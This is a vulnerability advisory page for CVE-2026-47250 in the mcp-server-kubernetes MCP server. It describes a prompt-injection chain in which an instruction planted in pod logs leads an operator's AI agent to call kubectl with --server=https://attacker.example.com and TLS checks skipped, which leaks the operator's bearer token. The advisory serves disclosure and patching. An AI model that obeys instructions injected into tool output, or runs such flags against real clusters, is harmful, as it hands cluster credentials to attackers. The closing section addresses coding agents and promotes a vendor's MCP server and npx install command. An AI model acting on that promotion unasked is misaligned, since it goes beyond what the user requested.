# CVE-2026-47250: mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

- Also known as: GHSA-6MX4-4H42-R8VH
- Severity: CVSS 6.1 (Medium), CNA
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N
- CISA SSVC: exploitation=poc, automatable=no, technicalImpact=partial
- Known exploited (CISA KEV): no
- Fixed in: 3.7.0
- Published: 2026-06-11 · Updated: 2026-06-11

## Affected

- Flux159 mcp-server-kubernetes: fixed in 3.7.0
- mcp-server-kubernetes (npm): fixed in 3.7.0

## Description

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

## What to do

- Check your stack: if you ship or depend on Flux159 mcp-server-kubernetes, mcp-server-kubernetes, upgrade to a fixed version (3.7.0) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=CVE-2026-47250

## Related

- Browse: [npm packages](https://cve.now/ecosystem/npm.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/Flux159/mcp-server-kubernetes/security/advisories/GHSA-6mx4-4h42-r8vh
- https://github.com/Flux159/mcp-server-kubernetes/releases/tag/v3.7.0

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Source: cve.now, built and run by Sazabi
Page: https://cve.now/CVE-2026-47250
JSON: https://cve.now/api/v1/entries/CVE-2026-47250
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